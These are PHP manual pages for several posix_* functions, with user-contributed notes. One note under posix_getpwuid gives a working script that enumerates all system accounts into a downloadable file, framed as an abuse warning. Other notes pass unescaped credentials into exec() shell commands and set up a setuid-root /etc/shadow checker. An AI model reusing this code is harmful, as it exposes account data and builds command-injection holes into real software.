  • Return the parent process identifier

posix_getppid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getppid — Return the parent process identifier

说明

posix_getppid(): int

Return the process identifier of the parent process of the current process.

参数

此函数没有参数。

返回值

Returns the identifier, as an int.

示例

Example #1 Example use of posix_getppid()

<?php
echo posix_getppid(); //8259
?>

User Contributed Notes

Avital Yachin 22-Feb-2018 08:58
posix_getppid will not work on Windows.
Here's an alternative:

<?php
if(strncasecmp(PHP_OS, "win", 3) == 0) {
   $pid = getmypid();  // child process ID
   $parent_pid = shell_exec("wmic process where (processid=$pid) get parentprocessid");
   $parent_pid = explode("\n", $parent_pid);
   $parent_pid = intval($parent_pid[1]);

   echo "Child: $pid  Parent: $parent_pid\n";
}
?>
mail at spacerat dot net 15-Sep-2017 09:28
answering to http://php.net/manual/en/function.posix-getppid.php#120088

if you're using proc_open and you want to get the pid of the calling php-process, use proc open with usage "exec php $scriptname". In that case, you can get the real parent-id, because php doesn't start a new shell.
divinity76 at gmail dot com 10-Apr-2017 07:33
when using proc_open, the child's ppid is NOT your php script, but rather a shell started by proc_open's pid. to get your pid, your proc_open child needs to get the parent's parent's (aka grandparent's) pid. here's a way to do that in PHP on linux:

function posix_getpppid(): int {
    return ( int ) (explode ( " ", file_get_contents ( "/proc/" . posix_getppid () . "/stat" ) ) [3]);
}

(thanks to TML @ irc.freenode.net/##PHP for the technique)

(i said most of this in a previous comment, but i didn't have a good solution for it. now i have. if someone with the privileges read this, can you delete this notice and my previous comment please?)
divinity76 at gmail dot com 25-Oct-2016 10:45
WARNING, when using proc_open, your child will NOT get the parent php process's PID by using posix_getppid() , it will actually get the pid of a shell ( /bin/sh ? ) started by php, which in turn starts the child.  i don't currently have a good workaround for this, but i'm working around it by having the parent write it's pid to a file and having the chidren read the file


Return info about a user by username

  • ? posix_getppid
  • posix_getpwuid ?
  • PHP Manual
  • POSIX 函数
  • Return info about a user by username

posix_getpwnam

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getpwnam — Return info about a user by username

说明

posix_getpwnam(string $username): array|false

Returns an array of information about the given user.

参数

username

An alphanumeric username.

返回值

On success an array with the following elements is returned, else false is returned:

The user information array
Element | Description
name | The name element contains the username of the user. This is a short, usually less than 16 character "handle" of the user, not the real, full name. This should be the same as the username parameter used when calling the function, and hence redundant.
passwd | The passwd element contains the user's password in an encrypted format. Often, for example on a system employing "shadow" passwords, an asterisk is returned instead.
uid | User ID of the user in numeric form.
gid | The group ID of the user. Use the function posix_getgrgid() to resolve the group name and a list of its members.
gecos | GECOS is an obsolete term that refers to the finger information field on a Honeywell batch processing system. The field, however, lives on, and its contents have been formalized by POSIX. The field contains a comma separated list containing the user's full name, office phone, office number, and home phone number. On most systems, only the user's full name is available.
dir | This element contains the absolute path to the home directory of the user.
shell | The shell element contains the absolute path to the executable of the user's default shell.

示例

Example #1 Example use of posix_getpwnam()

<?php

$userinfo = posix_getpwnam("tom");

print_r($userinfo);
?>

以上示例的输出类似于：

Array
(
    [name]    => tom
    [passwd]  => x
    [uid]     => 10000
    [gid]     => 42
    [gecos]   => "tom,,,"
    [dir]     => "/home/tom"
    [shell]   => "/bin/bash"
)

参见

  • posix_getpwuid() - Return info about a user by user id
  • POSIX man page GETPWNAM(3)

User Contributed Notes

bau at kg-fds dot de 18-Feb-2006 09:29
Oh I forgot the following:

to change a Users password via PHP,
you can use the following (under Linux with installed Samba):

exec('echo -e "'.$oldpassword.'\n'.$newpassword.'\n'.$newpassword.'
"|smbpasswd -U'.$user.' -s')

The exec-command returns ""
if an error occured (then see the error_log of the web-server)
or a message "The password has been changed".

Good luck.
Baumg?rtner
bau at kg-fds dot de 18-Feb-2006 09:22
Hello, I've tried another, more easier way to check passwords than checking it to a pop3-server. If you are running a samba-server or a Windows PDC, so you can try to connect with the username/password you want to check to the netlogon of this server:

if (exec('echo "exit"|smbclient //server/netlogon -U'.$user.' '.$pass)=="") { ... }

If the username/password doesn't match, then the exec-command under LINUX returns an error.

Good luck
Baumg?rtner
bau at kg-fds dot de 14-Feb-2006 11:24
If you are running a pop3-daemon, so you can do authentification on pop3 by using fsockopen :-) and checking whether it returns +OK or -ERR
corychristison at lavacube dot net 17-Oct-2004 04:33
For those of you who are writing daemons with PHP and are one for security. This function will not return any info if you have called PHP's chroot() function.

Took me a few minutes why it wouldn't find the user it was searching for.
marcus at nospamsynchromedia dot co dot uk 23-Aug-2002 01:12
Given a non-existent username, this function returns a boolean FALSE.
perreal at lyon dot cemagref dot fr 18-Apr-2002 08:47
To check passwords on a Unix-box, look at the mod_auth_external module for Apache, it uses external programs to do the real job. The server won't ever read the encrypted password.

One of them, pwauth, can be configured to use PAM or whatever is used on your system. Users that can run this program are configured at compile time. And this program can be called from PHP with exec(...).
vision_1967 at hotmail dot com 20-Nov-2001 11:23
I needed to get access to the user information to do login/validation via an SSL connection and encountered the same problem with receiving '*' in the password field.  After checking the documentation on posix_getpwnam, I saw a previous solution involving coding a C program.  This was a bit bulky for me so I came up with my own solution.

Variations on this theme can probably be done to make the solution more programmer/reader friendly, but the way I did it accomplished the task that I needed to do.

IF the information you need to get from posix_getpwnam comes from a host participating in an NIS network, you can accomplish the same thing with the following command:

$autharray = split(":",`ypmatch $USER passwd`);

(pretty long explanation for such a short solution huh?)

You'll have to get at the fields by their index number ($autharray[0], $autharray[1], ...) using this method.

To create an associative array that is plug-in compatible with the posix_getpwnam function,  you'll probably need to use the 'list' specifier to do the assignments.

I hope this helps someone.

--S
darryl at pointclark dot net 17-Oct-2001 10:43
If you need to validate a *real* unix password on a system using shadowed passwords, the posix_getpwnam() function in PHP won't work (as mentioned, 'x', or '*', will be in the password field).

I have a need to verify a user/pass within PHP (using SSL!).  I don't know if this is the best way, but it's what I'm doing at the moment (works well!).

First, you need some help from the OS.  I wrote a tiny C utility that does the shadow look-up for me... It requires root access to read /etc/shadow.  So after you compile (gcc -O2 -s -o spasswd -lcrypt spasswd.c), you need to either use sudo to run it, or

# chown root spasswd && chmod u+s spasswd

To code that I'm using to authenticate a user/pass from PHP looks like:

function Authenticate($realm)
{
 global $PHP_AUTH_USER;
 global $PHP_AUTH_PW;

 if(!isset($PHP_AUTH_USER))
 {
  header("WWW-Authenticate: Basic realm=\"$realm\"");
  header("HTTP/1.0 401 Unauthorized");

  return false;
 }
 else
 {
  if(($fh = popen("/usr/sbin/spasswd", "w")))
  {
   fputs($fh, "$PHP_AUTH_USER $PHP_AUTH_PW");
   $r = pclose($fh);

   if(!$r)
    return true;
  }
 }

 header("WWW-Authenticate: Basic realm=\"$realm\"");
 header("HTTP/1.0 401 Unauthorized");

 return false;
}

The C source for spasswd.c:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <crypt.h>
#include <shadow.h>

static char salt[12], user[128], pass[128];

void die(void)
{
 memset(salt, '\0', 12);
 memset(user, '\0', 128);
 memset(pass, '\0', 128);
}

int main(int argc, char *argv[])
{
 struct spwd *passwd;

 atexit(die); die();

 if(fscanf(stdin, "%127s %127s", user, pass) != 2)
  return 1;

 if(!(passwd = getspnam(user)))
  return 1;

 strncpy(salt, passwd->sp_pwdp, 11);
 strncpy(pass, crypt(pass, salt), 127);

 if(!strncmp(pass, passwd->sp_pwdp, 127))
  return 0;

 return 1;
}

Hope this helps someone...
sezery at damla dot net 03-Oct-2001 02:09
User and group functions do not work on recent Redhat systems since these functions are based on /etc/group file but new redhat does not put group members' list into this file. Instead you need to examine /etc/passwd file and find members of a group by checking group id.


Return info about a user by user id

  • ? posix_getpwnam
  • posix_getrlimit ?
  • PHP Manual
  • POSIX 函数
  • Return info about a user by user id

posix_getpwuid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getpwuid — Return info about a user by user id

说明

posix_getpwuid(int $user_id): array|false

Returns an array of information about the user referenced by the given user ID.

参数

user_id

The user identifier.

返回值

Returns an associative array with the following elements:

The user information array
Element | Description
name | The name element contains the username of the user. This is a short, usually less than 16 character "handle" of the user, not the real, full name.
passwd | The passwd element contains the user's password in an encrypted format. Often, for example on a system employing "shadow" passwords, an asterisk is returned instead.
uid | User ID, should be the same as the user_id parameter used when calling the function, and hence redundant.
gid | The group ID of the user. Use the function posix_getgrgid() to resolve the group name and a list of its members.
gecos | GECOS is an obsolete term that refers to the finger information field on a Honeywell batch processing system. The field, however, lives on, and its contents have been formalized by POSIX. The field contains a comma separated list containing the user's full name, office phone, office number, and home phone number. On most systems, only the user's full name is available.
dir | This element contains the absolute path to the home directory of the user.
shell | The shell element contains the absolute path to the executable of the user's default shell.
The function returns false on failure.

示例

Example #1 Example use of posix_getpwuid()

<?php

$userinfo = posix_getpwuid(10000);

print_r($userinfo);
?>

以上示例的输出类似于：

Array
(
    [name]    => tom
    [passwd]  => x
    [uid]     => 10000
    [gid]     => 42
    [gecos]   => "tom,,,"
    [dir]     => "/home/tom"
    [shell]   => "/bin/bash"
)

参见

  • posix_getpwnam() - Return info about a user by username
  • POSIX man page GETPWNAM(3)

User Contributed Notes

Anonymous 05-Feb-2013 03:37
I only want the user name rather than the rest. I'm recursively looping trough a directory and need the username with each file or directory. I use stat to get file attributes that I need which gives me uid. Querying with posix_getpwuid() for every file takes up a lot of time in directories with many files. I came up with a caching mechanism (which I believe should be built-in). Every time a new uid is found a new query is required and this function slows it down, but hey, more likely you need a few uid's many many times so every time you meet the same uid, there is no costly query taking place.

Heres my code, feel free, etc., etc.

<?php
$arr_uname = Array();
function file_owner_cached($uid)
{
    global $arr_uname;
    if (!isset($arr_uname[$uid]))
    {
        $arr_uname[$uid] = posix_getpwuid($uid)['name'];
    }
    return $arr_uname[$uid];
}
?>
Works in PHP 5.3.19, under linux of course.. not tested on anything else.
martin at arp242 dot net 04-Jul-2011 07:18
Here's a fairly safe way to get the username from uid even if the posix extension isn't installed.

<?php
function GetUsernameFromUid($uid)
{
  if (function_exists('posix_getpwuid'))
  {
    $a = posix_getpwuid($uid);
    return $a['name'];
  }
  # This works on BSD but not with GNU
  elseif (strstr(php_uname('s'), 'BSD'))
  {
    exec('id -u ' . (int) $uid, $o, $r);

    if ($r == 0)
      return trim($o['0']);
    else
      return $uid;
  }
  elseif (is_readable('/etc/passwd'))
  {
    exec(sprintf('grep :%s: /etc/passwd | cut -d: -f1', (int) $uid), $o, $r);
    if ($r == 0)
      return trim($o['0']);
    else
      return $uid;
  }
  else
    return $uid;
}
?>
ddascalescu at gmail dot com 08-Apr-2008 07:14
Correction regarding my note below: get_current_user() does *not* get the name of the user the script is running as. Instead, it "gets the name of the owner of the current PHP script" -- that is, the owner of the file, not the owner of the process.

To properly get the running user, test if function_exists('posix_getpwuid') and if not, assume you're running on Windows and call getenv('USERNAME').
ddascalescu at gmail dot com 04-Apr-2008 05:39
On Windows, posix_getpwuid() is not implemented , but if you just want the username of the current user, you can use get_current_user().
mehmet at karakaya dot us 19-Mar-2006 11:45
if the system is also a mail server and system users have userdirs with php support this function may cause a spam abuse which made by a system user.

<?php

/* settings for start point and where to stop */
$start=0;//the first user id
$interval=1000;//amount of lines that will be read
$finishline=3000;//the last user id

$first=(isset($_GET['first'])?$_GET['first']:$start);
$last=(isset($_GET['last'])?$_GET['last']:$interval);

/* getting and writing the user info line by line */
$fp=fopen('copiedpasswd','a');
//copiedpasswd must be writeable by apache
for ($user=$first;$user<=$last;$user++)
 {
  $list=posix_getpwuid($user);
  if ($list['name']=='') { continue; }
  $line=implode(':',$list)."\n";
  fputs($fp,$line);
 }//end for
fclose($fp);

/* control or forwarding in order to prevent prescription */
if ($last>=$finishline)
 {
  header("Location: copiedpasswd");
 }//end if
else
 {
  $first += $interval;
  $last += $interval;
  header("Location: thenameofthisscript.php?first=$first&last=$last");
 }//end else

?>

Because posix_getpwuid(1000) will return the user name(whose id is 1000) as the first key of the array.
Nikolai-Zujev-(at)-Gmail-dot-Com 25-Sep-2004 02:05
If You are useing kernel security module, such as LIDS, GrSec or Selinux it will work only if '/etc/passwd' is readable for user, under which PHP/Apache runs, otherwice you get FALSE.
rolf dot winterscheidt at rowitech dot de 28-May-2003 04:34
To get the name of the owner of a file you can use something like this:

<?php
$startscript="/var/log/hello.log";

$fileowneruid=fileowner($startscript);
$fileownerarray=posix_getpwuid($fileowneruid);
$fileowner=$fileownerarray['name'];

echo "Owner is $fileowner";
?>

(I'm sure you can accomplish this in many ways, this is a way I understood and hope you too :-)).

Rolf


Return info about system resource limits

  • ? posix_getpwuid
  • posix_getsid ?
  • PHP Manual
  • POSIX 函数
  • Return info about system resource limits

posix_getrlimit

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getrlimit — Return info about system resource limits

说明

posix_getrlimit(?int $resource = null): array|false

posix_getrlimit() returns an array of information about the current resource's soft and hard limits.

Each resource has an associated soft and hard limit. The soft limit is the value that the kernel enforces for the corresponding resource. The hard limit acts as a ceiling for the soft limit. An unprivileged process may only set its soft limit to a value from 0 to the hard limit, and irreversibly lower its hard limit.

参数

resource

If null all resource limits will be fetched. Otherwise, the only limits of the resource type provided will be returned.

返回值

Returns an associative array of elements for each limit that is defined. Each limit has a soft and a hard limit.

List of possible limits returned
Limit name | Limit description
core | The maximum size of the core file. When 0, not core files are created. When core files are larger than this size, they will be truncated at this size.
totalmem | The maximum size of the memory of the process, in bytes.
virtualmem | The maximum size of the virtual memory for the process, in bytes.
data | The maximum size of the data segment for the process, in bytes.
stack | The maximum size of the process stack, in bytes.
rss | The maximum number of virtual pages resident in RAM
maxproc | The maximum number of processes that can be created for the real user ID of the calling process.
memlock | The maximum number of bytes of memory that may be locked into RAM.
cpu | The amount of time the process is allowed to use the CPU.
filesize | The maximum size of the data segment for the process, in bytes.
openfiles | One more than the maximum number of open file descriptors.
The function returns false on failure.

更新日志

版本 | 说明
8.3.0 | The optional resource parameter has been added.

示例

Example #1 Example use of posix_getrlimit()

<?php

$limits = posix_getrlimit();

print_r($limits);
?>

以上示例的输出类似于：

Array
(
    [soft core] => 0
    [hard core] => unlimited
    [soft data] => unlimited
    [hard data] => unlimited
    [soft stack] => 8388608
    [hard stack] => unlimited
    [soft totalmem] => unlimited
    [hard totalmem] => unlimited
    [soft rss] => unlimited
    [hard rss] => unlimited
    [soft maxproc] => unlimited
    [hard maxproc] => unlimited
    [soft memlock] => unlimited
    [hard memlock] => unlimited
    [soft cpu] => unlimited
    [hard cpu] => unlimited
    [soft filesize] => unlimited
    [hard filesize] => unlimited
    [soft openfiles] => 1024
    [hard openfiles] => 1024
)

参见

  • man page GETRLIMIT(2)
  • posix_setrlimit() - Set system resource limits

User Contributed Notes

petert at tebault dot org 29-Aug-2000 12:58
The array returned (on a RH6.2 box) is:
     soft core = 0
     hard core = unlimited
     soft data = unlimited
     hard data = unlimited
     soft stack = 8388608
     hard stack = unlimited
     soft totalmem = unlimited
     hard totalmem = unlimited
     soft rss = unlimited
     hard rss = unlimited
     soft maxproc = 2048
     hard maxproc = 2048
     soft memlock = unlimited
     hard memlock = unlimited
     soft cpu = unlimited
     hard cpu = unlimited
     soft filesize = unlimited
     hard filesize = unlimited
     soft openfiles = 1024
     hard openfiles = 1024


Get the current sid of the process

  • ? posix_getrlimit
  • posix_getuid ?
  • PHP Manual
  • POSIX 函数
  • Get the current sid of the process

posix_getsid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getsid — Get the current sid of the process

说明

posix_getsid(int $process_id): int|false

Return the session id of the process process_id. The session id of a process is the process group id of the session leader.

参数

process_id

The process identifier. If set to 0, the current process is assumed. If an invalid process_id is specified, then false is returned and an error is set which can be checked with posix_get_last_error().

返回值

Returns the identifier, as an int, 或者在失败时返回 false.

示例

Example #1 Example use of posix_getsid()

<?php
$pid = posix_getpid();
echo posix_getsid($pid); //8805
?>

参见

  • posix_getpgid() - Get process group id for job control
  • posix_setsid() - Make the current process a session leader
  • POSIX man page GETSID(2)

User Contributed Notes

There are no user contributed notes for this page.


Return the real user ID of the current process

  • ? posix_getsid
  • posix_initgroups ?
  • PHP Manual
  • POSIX 函数
  • Return the real user ID of the current process

posix_getuid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getuid — Return the real user ID of the current process

说明

posix_getuid(): int

Return the numeric real user ID of the current process.

参数

此函数没有参数。

返回值

Returns the user id, as an int

示例

Example #1 Example use of posix_getuid()

<?php
echo posix_getuid(); //10000
?>

参见

  • posix_getpwuid() - Return info about a user by user id
  • POSIX man page GETUID(2)

User Contributed Notes

dee at earlsoft dot co dot uk 27-Feb-2022 09:58
On more modern systems the posix functions have split out into the php-process package

Installed Packages
Name         : php-process
Version      : 7.2.24
Release      : 1.module_el8.2.0+313+b04d0a66
Architecture : x86_64
Size         : 100 k
Source       : php-7.2.24-1.module_el8.2.0+313+b04d0a66.src.rpm
Repository   : @System
From repo    : appstream
Summary      : Modules for PHP script using system process interfaces
URL          : http://www.php.net/
License      : PHP
Description  : The php-process package contains dynamic shared objects which add
             : support to PHP using system interfaces for inter-process
             : communication.
StanE 17-Jan-2016 05:51
None of the posix_* functions are available under Windows, since Windows is not POSIX compliant. But there seems to be / was an optional software package available, see here: https://en.wikipedia.org/wiki/Microsoft_POSIX_subsystem
chris at ocportal dot com 30-Nov-2008 06:35
Note that this function is not defined on Windows PHP.


Calculate the group access list

  • ? posix_getuid
  • posix_isatty ?
  • PHP Manual
  • POSIX 函数
  • Calculate the group access list

posix_initgroups

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

posix_initgroups — Calculate the group access list

说明

posix_initgroups(string $username, int $group_id): bool

Calculates the group access list for the user specified in name.

参数

username

The user to calculate the list for.

group_id

Typically the group number from the password file.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • The Unix manual page for initgroups(3).

User Contributed Notes

victor dot kupiyanov at gmail dot com 22-Mar-2012 08:19
The function does not calculate groups, it sets groups access list of the current process in accordance to user information in /etc/groups.

Quote from Unix manual page for initgroups:

NAME
       initgroups - initialize the supplementary group access list
...
DESCRIPTION
       The  initgroups()  function  initializes  the  group  access  list  by  reading the
       group database /etc/group and using all groups of which user is a member.
       The additional  group  group  is  also added to the list.


Determine if a file descriptor is an interactive terminal

  • ? posix_initgroups
  • posix_kill ?
  • PHP Manual
  • POSIX 函数
  • Determine if a file descriptor is an interactive terminal

posix_isatty

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_isatty — Determine if a file descriptor is an interactive terminal

说明

posix_isatty(resource|int $file_descriptor): bool

Determines if the file descriptor file_descriptor refers to a valid terminal type device.

参数

file_descriptor

The file descriptor, which is expected to be either a file resource or an int. An int will be assumed to be a file descriptor that can be passed directly to the underlying system call.

返回值

Returns true if file_descriptor is an open descriptor connected to a terminal and false otherwise.

更新日志

版本 | 说明
8.3.0 | Type error E_WARNINGs are now raised for integer coercions following the usual PHP type coercion semantics.

参见

  • posix_ttyname() - Determine terminal device name
  • stream_isatty() - Check if a stream is a TTY

User Contributed Notes

KEINOS 08-Jan-2021 10:34
It's quite complicated to understand its movements. But it determines if the file_descriptor is open AND connected to a terminal.

Thus, while receiving data from the STDIN, for example, it will return false.

This move is useful to optionally pipe STDIN to a PHP script, to avoid hanging when nothing is from STDIN.

<?php

// Simply echoes the contents from STDIN if any
// and "no stdin" if not.
echo (posix_isatty(STDIN)) ? 'no stdin' . PHP_EOL : file_get_contents('php://stdin');
?>
hfuecks at phppatterns dot com 07-May-2004 02:12
Can be useful to determine whether output is being piped elsewhere, for PHP shell scripts, for example;

#!/usr/local/bin/php
<?php
if ( !posix_isatty(STDOUT) ) {
    fwrite(STDOUT, "Invalid TTY\n");
    exit(2);
}
fwrite(STDOUT, "Enter you name\n");
$name = fgets(STDIN);
fwrite(STDOUT,"Hello $name\n");
exit(0);
?>

If this script is like:

script.php > outfile

outfile will contain "Invalid TTY"


Send a signal to a process

  • ? posix_isatty
  • posix_mkfifo ?
  • PHP Manual
  • POSIX 函数
  • Send a signal to a process

posix_kill

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_kill — Send a signal to a process

说明

posix_kill(int $process_id, int $signal): bool

Send the signal signal to the process with the process identifier process_id.

参数

process_id

The process identifier.

signal

One of the PCNTL signals constants.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • The kill(2) manual page of the POSIX system, which contains additional information about negative process identifiers, the special pid 0, the special pid -1, and the signal number 0.

User Contributed Notes

php at tla-sys dot com 20-Aug-2021 05:56
Although it appears that posix_kill() is built into all modern versions of PHP, it actually requires the "process" extension.  Otherwise, you get an "undefined function" error when you call it.  You might try this to make your code (more) robust on Linux:
<?php
function send_signal(int $pid, int $sig_num) : bool {
    if ( function_exists("posix_kill") ) return posix_kill($pid, $sig_num);
    exec("/usr/bin/kill -s $sig_num $pid 2>&1", $junk, $return_code);
    return ! $return_code;
}
?>
Yes, it works right when $sig_num = 0.
eddi13 29-Oct-2015 09:36
check whether the process is running. windows-linux
<?php
function isRunning($pid) {
        $isRunning = false;
        if(strncasecmp(PHP_OS, "win", 3) == 0) {
            $out = [];
            exec("TASKLIST /FO LIST /FI \"PID eq $pid\"", $out);
            if(count($out) > 1) {
                $isRunning = true;
            }
        }
        elseif(posix_kill(intval($prevPid), 0)) {
            $isRunning = true;
        }
        return $isRunning;
}
?>
Martin 05-May-2015 05:34
Warning!

The $sig parameter cannot be one of the PCNTL signals constants if you are running your script from the browser (ie. as an apache process). Strangely it does seem to allow the constants to be used from the command line ("php -r ...") but if your script is running from within apache then calling posix_kill($pid, SIGINT) will return FALSE (and posix_get_last_error() will return 0).
Mauro 15-May-2014 01:47
Posix_kill is not so reliable (it seems it always deliver the signal - even 0 to a no existing process - and doesn't generate an error).
I found this way to check the existence of a process, using /proc:

if(!file_exists("/proc/$pid/cmdline"

obviously check the permissions .
unsure at tactileint dot com 09-Mar-2011 04:36
Just like the error codes (EPERM, EEXIST, etc), signal numbers are different on different platforms.  EG on macos, SIGCONT is 19; on Linux SIGSTOP is 19.  Big difference.

If you have PCNTL compiled in, you can use the constants like SIGCONT; i trust they're all correct.

If not, look in /usr/include/signal.h; these days its tons of ifdef mumbo jumbo but you can go to /usr/include/bits or /usr/include/sys or something and look for files named sig*.h; one of them will list them for you.
Anonymous 26-Jan-2011 03:27
here is a process kill function for windows:

<?php
function win_kill($pid){
    $wmi=new COM("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
    $procs=$wmi->ExecQuery("SELECT * FROM Win32_Process WHERE ProcessId='".$pid."'");
    foreach($procs as $proc)
      $proc->Terminate();
}
?>
Skippy 14-Jan-2009 02:12
In order to check the outcome of posix_kill() you can use posix_get_last_error(), which will return 0 (zero) in case of success and a non-zero error code otherwise. Use the number returned by posix_get_last_error() as a parameter to posix_strerror() to get a human-readable error message corresponding to that error code.

Please note that a non-zero code from posix_get_last_error() does NOT mean that the pid doesn't exist; it only means that posix_kill() ran into trouble signalling that process. For example, the pid may exist but the process is owned by a user other than the one you use to run the code, and you're not root; in which case you'll get an error saying you're not allowed to signal that process (operation not permitted).

Accordingly, the code posted by Jille earlier is WRONG. According to the POSIX spec (see errno.h on your system), EPERM means "operation not permitted". This should NOT be taken as indication that the pid doesn't exist, it merely means that posix_kill() couldn't signal that process. If anything, it should be a hint that a process with that pid IS running.

errno.h constant names definitions:
http://www.opengroup.org/onlinepubs/009695399/basedefs/errno.h.html

Unfortunately, PHP does not currently define constants with these names (such as EPERM, ENOENT, ESRCH etc.) A non-complete subset is defined for socket operations (SOCKET_EPERM for example), but it doesn't hold all the possible POSIX error constants; ESRCH for instance is of particular interest for posix_kill(), but SOCKET_ESRCH doesn't exist, because it means "no such process" and doesn't make sense for sockets.

Solutions:
* Have PHP devs define these constants in a future PHP version.
* Look-up errno.h on your system and define your own constants. You can use a script to parse errno.h and either define the constants on the fly or generate, once, the PHP code to define them.

Please be advised, however, that relying on a specific errno.h is not portable. Different systems may have different numeric values for these constants. That's why PHP should be defining the constants at compilation time and the code should be able to rely on the constant names; only the names are portable, not the actual values.
regis dot fr dot php dot net at tornad dot net 24-Dec-2008 07:06
A little recursive function to kill a process and his childs.
it works fine for me and I don't have find something else to do it.
It's a mix of various scripts I've found.

<?php
    function killProcessAndChilds($pid,$signal) {
        exec("ps -ef| awk '\$3 == '$pid' { print  \$2 }'", $output, $ret);
        if($ret) return 'you need ps, grep, and awk';
        while(list(,$t) = each($output)) {
            if ( $t != $pid ) {
                killProcessAndChilds($t,$signal);
            }
        }
        //echo "killing ".$pid."\n";
        posix_kill($pid, 9);
    }
?>
Jille at mydevnull dot quis dot cx 16-Apr-2008 06:22
If you want to test whether processes owned by other users are running, you can use:

<?php
  $running=posix_kill($pid, 0);
  if(posix_get_last_error()==1) /* EPERM */
    $running=true;
?>

If the process is owned by somebody else (and you're not root), you will get an EPERM.
On my system (FreeBSD) this is defined to 1.

You should test what the value of EPERM is on your system.
Jacques Manukyan 21-Mar-2008 06:40
Keep in mind that you can only send kill signals to processes owned by your UID.

If you are running your program as root, then you can send kill signals to all processes.
codeslinger at compsalot dot com 02-Feb-2005 08:42
Detecting if another copy of a program is running (*NIX specific)

One cute trick, to see if another process is running, is to send it signal 0.  Signal 0 does not actually get sent, but kill will check to see if it is possible to send the signal.  Note that this only works if you have permission to send a signal to that process.

A practical use for this technique is to avoid running multiple copies of the same program.  You save the PID to a file in the usual way...   Then during start-up you check the value of the PID file and see if that process currently exists.

This is not totally fool-proof.  In rare circumstances it is possible for an unrelated program to have the same recycled PID.  But that other program would most likely not accept signals from your program anyway (unless your program is root).

To make it as reliable as possible, you would want your program to remove it's PID file during shutdown (see register_shutdown_function).  That way, only if your program crashed AND another program happened to use the same PID AND the other program was willing to accept signals from your program, would you get a wrong result.  This would be an exceedingly rare occurrence.  This also assumes that the PID file has not been tampered with (as do all programs that rely on PID files...).

It's also possible to use 'ps x' to detect this, but using kill is much more efficient.

Here is the core routine:

    $PrevPid = file_get_contents($PathToPidFile);

    if(($PrevPid !== FALSE) && posix_kill(rtrim($PrevPid),0)) {
        echo "Error: Server is already running with PID: $PrevPid\n";
        exit(-99);
    } else {
        echo "Starting Server...";
    }

Hmmm...  if you want total 100% reliability, plus efficiency.  What you could do is to make the initial check using kill.  If it says not running, then you are ready to zoom.  But if kill says already running, then you could use:

//You can get the $ProgramName from $argv[0]
$Result = shell_exec('ps x | grep "' . $PrevPid . '" | grep "' . $ProgramName . '" | grep -v "grep"');

Assuming that your program has permissions to do this.  If you execute that and get back an empty string, then the other program is an imposter using a recycled PID and you are clear to go.

-- Erik
gid at gifpaste dot net 17-Dec-2002 04:26
For those that want to kill everything matching a certain pattern (ala killall in for linux), try something like this.  Note that this is a good idea to do something like this for cross platform compatilibity, instead of executing killall, because killall for other UNIXes does just that, kills EVERYTHING.  :)

function killall($match) {
    if($match=='') return 'no pattern specified';
    $match = escapeshellarg($match);
    exec("ps x|grep $match|grep -v grep|awk '{print $1}'", $output, $ret);
    if($ret) return 'you need ps, grep, and awk installed for this to work';
    while(list(,$t) = each($output)) {
        if(preg_match('/^([0-9]+)/', $t, $r)) {
            system('kill '. $r[1], $k);
            if(!$k) $killed = 1;
        }
    }
    if($killed) {
        return '';
    } else {
        return "$match: no process killed";
    }
}


Create a fifo special file (a named pipe)

  • ? posix_kill
  • posix_mknod ?
  • PHP Manual
  • POSIX 函数
  • Create a fifo special file (a named pipe)

posix_mkfifo

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_mkfifo — Create a fifo special file (a named pipe)

说明

posix_mkfifo(string $filename, int $permissions): bool

posix_mkfifo() creates a special FIFO file which exists in the file system and acts as a bidirectional communication endpoint for processes.

参数

filename

Path to the FIFO file.

permissions

The second parameter permissions has to be given in octal notation (e.g. 0644). The permission of the newly created FIFO also depends on the setting of the current umask(). The permissions of the created file are (mode & ~umask).

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

Mauro Titimoli 30-Dec-2009 05:36
Object Oriented FIFO Communication process:

<?php
interface Communication {
    public function receive($bytes = 1024);

    public function getData();

    public function clearData();

    public function send($data);
}

class FIFOCommunication implements Communication {
    private $fifos;

    private $data;

    static public function stream_fifo_open($fifoPath, $mode) {
        if (pcntl_fork() == 0) {
            if (! file_exists($fifoPath)) {
                posix_mkfifo($fifoPath, $mode);
            }

            $fifo = fopen($fifoPath, 'w');
            sleep(1);

            exit(0);
        }
        else {
            usleep(15);

            return fopen($fifoPath, 'r');
        }
    }

    static public function stream_fifo_write($fifoPath, $mode, $data) {
        if (pcntl_fork() == 0) {
            if (! file_exists($fifoPath)) {
                posix_mkfifo($fifoPath, $mode);
            }

            $fifo = fopen($fifoPath, 'w');

            fwrite($fifo, $data);

            exit(0);
        }
    }

    public function __construct(
        $fifoInputName, $fifoInputMode,
        $fifoOutputName, $fifoOutputMode
    ) {
        $this->fifos = array(
            'input' => array(
                'file' => self::stream_fifo_open($fifoInputName, $fifoInputMode),
                'mode' => $fifoInputMode,
                'name' => $fifoInputName,
                'use' => 'r',
            ),
            'output' => array(
                'mode' => $fifoOutputMode,
                'name' => $fifoOutputName,
                'use' => 'w'
            )
        );
    }
    public function remove($type = null) {
        switch ($type) {
            case 'input':
                @unlink($this->fifos['input']['name']);
                break;

            case 'output':
                @unlink($this->fifos['output']['name']);
                break;

            default:
                @unlink($this->fifos['input']['name']);
                @unlink($this->fifos['output']['name']);
        }
    }

    public function receive($bytes = 1024) {
        $readers = array($this->fifos['input']['file']);
        if (stream_select($readers, $writers = null, $except = null, 0, 15) == 1) {
            $data = fread($this->fifos['input']['file'], $bytes);
        }

        if (! empty($data)) {
            $this->data .= $data;
            return true;
        }
        else {
            return false;
        }
    }

    public function getData() {
        return $this->data;
    }

    public function clearData() {
        $this->data = null;
    }

    public function send($data) {
        $fifoOutput = & $this->fifos['output'];
        self::stream_fifo_write($fifoOutput['name'], $fifoOutput['mode'], $data);
    }
}

